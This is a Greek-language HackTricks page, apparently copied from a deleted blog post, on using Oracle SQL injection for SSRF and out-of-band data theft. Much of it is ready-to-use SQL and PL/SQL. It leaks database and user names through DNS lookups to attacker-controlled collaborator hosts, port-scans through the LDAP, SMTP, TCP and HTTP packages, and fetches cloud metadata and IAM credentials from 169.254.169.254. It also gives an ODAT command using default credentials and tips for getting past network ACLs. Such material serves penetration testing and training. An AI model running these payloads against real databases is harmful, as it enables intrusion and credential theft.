Oracle injection

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Σερβίρετε αυτή την ανάρτηση μια αντίγραφο από το wayback machine της διαγραμμένης ανάρτησης από https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Η χρήση του Oracle για να κάνετε Out of Band HTTP και DNS αιτήματα είναι καλά τεκμηριωμένη, αλλά ως μέσο εξαγωγής SQL δεδομένων σε επιθέσεις. Μπορούμε πάντα να τροποποιήσουμε αυτές τις τεχνικές/λειτουργίες για να κάνουμε άλλες SSRF/XSPA.

Η εγκατάσταση του Oracle μπορεί να είναι πραγματικά επώδυνη, ειδικά αν θέλετε να ρυθμίσετε μια γρήγορη παρουσία για να δοκιμάσετε εντολές. Ο φίλος και συνάδελφός μου στο Appsecco, Abhisek Datta, μου υπέδειξε το https://github.com/MaksymBilenko/docker-oracle-12c που μου επέτρεψε να ρυθμίσω μια παρουσία σε μια t2.large AWS Ubuntu μηχανή και Docker.

Εκτέλεσα την εντολή docker με την επιλογή --network="host" ώστε να μπορώ να μιμηθώ το Oracle ως εγγενή εγκατάσταση με πλήρη πρόσβαση στο δίκτυο, κατά τη διάρκεια αυτής της ανάρτησης.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle packages that support a URL or a Hostname/Port Number specification

Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια προδιαγραφή host και port, έκανα μια αναζήτηση στο Google στην Oracle Database Online Documentation. Συγκεκριμένα,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Η αναζήτηση επέστρεψε τα εξής αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για την εκτέλεση εξωτερικού δικτύου)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το DBMS_LDAP (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η σελίδα τεκμηρίωσης σας παραπέμπει απλώς σε μια διαφορετική τοποθεσία. Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να κάνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.

Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.

DBMS_LDAP.INIT

Το πακέτο DBMS_LDAP επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση init() αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και δέχεται ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.

Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει την εξαγωγή δεδομένων μέσω DNS, όπως παρακάτω

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Ωστόσο, δεδομένου ότι η συνάρτηση δέχεται ένα όνομα κεντρικού υπολογιστή και έναν αριθμό θύρας ως παραμέτρους, μπορείτε να το χρησιμοποιήσετε για να λειτουργήσει και ως σαρωτής θυρών.

Ακολουθούν μερικά παραδείγματα

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ένα ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. δείχνει ότι η θύρα είναι κλειστή ενώ μια τιμή συνεδρίας δείχνει ότι η θύρα είναι ανοιχτή.

UTL_SMTP

Το πακέτο UTL_SMTP έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email. Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών για host και θύρα.

Ένα πρόχειρο παράδειγμα φαίνεται παρακάτω με τη λειτουργία UTL_SMTP.OPEN_CONNECTION, με χρονικό όριο 2 δευτερολέπτων.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Ένα ORA-29276: transfer timeout δείχνει ότι η θύρα είναι ανοιχτή αλλά δεν έχει καθοριστεί καμία σύνδεση SMTP, ενώ ένα ORA-29278: SMTP transient error: 421 Service not available δείχνει ότι η θύρα είναι κλειστή.

UTL_TCP

Το πακέτο UTL_TCP και οι διαδικασίες και συναρτήσεις του επιτρέπουν TCP/IP βασισμένη επικοινωνία με υπηρεσίες. Εάν προγραμματιστεί για μια συγκεκριμένη υπηρεσία, αυτό το πακέτο μπορεί εύκολα να γίνει ένας τρόπος εισόδου στο δίκτυο ή να εκτελέσει πλήρεις Αιτήσεις Από την Πλευρά του Διακομιστή, καθώς όλες οι πτυχές μιας σύνδεσης TCP/IP μπορούν να ελεγχθούν.

Το παράδειγμα στην ιστοσελίδα τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη σύνδεση TCP για να ανακτήσετε μια ιστοσελίδα. Μπορούμε να το απλοποιήσουμε λίγο περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήσεις στην περίπτωση μεταδεδομένων για παράδειγμα ή σε μια αυθαίρετη υπηρεσία TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Ενδιαφέρον, λόγω της ικανότητας να δημιουργεί ακατέργαστα αιτήματα TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.

UTL_HTTP και Ιστοσελίδες Αιτημάτων

Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Out of Band Oracle SQL Injection είναι το UTL_HTTP package. Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ένα ORA-12541: TNS:no listener ή ένα TNS:operation timed out είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα ORA-29263: HTTP protocol error ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.

Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικιλία επιτυχίας είναι η GETCLOB() μέθοδος του HTTPURITYPE Oracle abstract type που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος GETCLOB() χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως CLOB data type.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

Επιπλέον Πακέτα & Τεχνικές (Oracle 19c → 23c)

UTL_INADDR – Εξαγωγή δεδομένων μέσω DNS και ανακάλυψη hosts

UTL_INADDR εκθέτει απλούς βοηθούς επίλυσης ονομάτων που ενεργοποιούν μια εξερχόμενη αναζήτηση DNS από τον κεντρικό υπολογιστή της βάσης δεδομένων. Δεδομένου ότι απαιτείται μόνο ένα domain (χωρίς port/ACL) είναι μια αξιόπιστη πρωτογενής μέθοδος για blind-exfil όταν άλλες κλήσεις δικτύου είναι αποκλεισμένες.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() επιστρέφει τη διεύθυνση IP που έχει επιλυθεί (ή προκαλεί ORA-29257 αν η επίλυση αποτύχει). Ο επιτιθέμενος χρειάζεται μόνο να παρακολουθεί το εισερχόμενο αίτημα DNS στον ελεγχόμενο τομέα για να επιβεβαιώσει την εκτέλεση του κώδικα.

DBMS_CLOUD.SEND_REQUEST – πλήρης HTTP πελάτης σε Autonomous/23c

Οι πρόσφατες εκδόσεις που επικεντρώνονται στο cloud (Autonomous Database, 21c/23c, 23ai) περιλαμβάνουν το DBMS_CLOUD. Η συνάρτηση SEND_REQUEST λειτουργεί ως γενικού σκοπού HTTP πελάτης που υποστηρίζει προσαρμοσμένα ρήματα, κεφαλίδες, TLS και μεγάλες σώματα, καθιστώντας την πολύ πιο ισχυρή από την κλασική UTL_HTTP.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

Γιατί το SEND_REQUEST επιτρέπει αυθαίρετες διευθύνσεις URI στόχου, μπορεί να καταχραστεί μέσω SQLi για:

  1. Εσωτερική σάρωση θυρών / SSRF σε υπηρεσίες μεταδεδομένων cloud.
  2. Εξαγωγή εκτός ζώνης μέσω HTTPS (χρησιμοποιήστε το Burp Collaborator ή ένα ngrok τούνελ).
  3. Επιστροφές σε διακομιστές επιτιθέμενων ακόμη και όταν οι παλαιότερες πακέτες κλήσεων είναι απενεργοποιημένες από ACLs.

ℹ️ Εάν έχετε μόνο μια κλασική on-prem 19c αλλά μπορείτε να δημιουργήσετε αποθηκευμένες διαδικασίες Java, μπορείτε μερικές φορές να εγκαταστήσετε το DBMS_CLOUD από το πακέτο πελάτη OCI — χρήσιμο σε ορισμένες εμπλοκές.

Αυτοματοποίηση της επιφάνειας επίθεσης με ODAT

ODAT – Oracle Database Attacking Tool έχει παρακολουθήσει τις σύγχρονες εκδόσεις (δοκιμασμένο μέχρι 19c, 5.1.1 – Απρ-2022). Τα modules –utl_http, –utl_tcp, –httpuritype και τα νεότερα –dbms_cloud αυτόματα:

  • Ανιχνεύουν χρησιμοποιήσιμα πακέτα κλήσεων/παραχωρήσεις ACL.
  • Προκαλούν DNS & HTTP επιστροφές για τυφλή εξαγωγή.
  • Δημιουργούν έτοιμα προς αντιγραφή SQL payloads για Burp/SQLMap.

Παράδειγμα: γρήγορος έλεγχος OOB με προεπιλεγμένα διαπιστευτήρια (φροντίζει για την καταμέτρηση ACL στο παρασκήνιο):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

Πρόσφατοι περιορισμοί & παρακάμψεις δικτύου ACL

Η Oracle αυστηροποίησε τα προεπιλεγμένα Network ACLs στην CPU Ιουλίου 2023 — οι λογαριασμοί χωρίς δικαιώματα τώρα λαμβάνουν ORA-24247: network access denied by access control list από προεπιλογή. Δύο μοτίβα επιτρέπουν ακόμα κλήσεις μέσω SQLi:

  1. Ο στοχευμένος λογαριασμός κατέχει μια είσοδο ACL (DBMS_NETWORK_ACL_ADMIN.create_acl) που προστέθηκε από έναν προγραμματιστή για ενσωματώσεις.
  2. Ο επιτιθέμενος εκμεταλλεύεται μια ρουτίνα PL/SQL με δικαιώματα ορισμού υψηλής προνομιακής πρόσβασης (π.χ. σε μια προσαρμοσμένη εφαρμογή) που έχει ήδη AUTHID DEFINER και τις απαραίτητες παραχωρήσεις.

Αν συναντήσετε ORA-24247 κατά την εκμετάλλευση, πάντα αναζητήστε επαναχρησιμοποιήσιμες διαδικασίες:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(in many audits at least one reporting/export procedure had the needed rights).


Αναφορές

  • Oracle Docs – περιγραφή και παραδείγματα του πακέτου DBMS_CLOUD.SEND_REQUEST.
  • quentinhardy/odat – Εργαλείο Επίθεσης Βάσης Δεδομένων Oracle (τελευταία έκδοση 5.1.1, Απρ-2022).

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks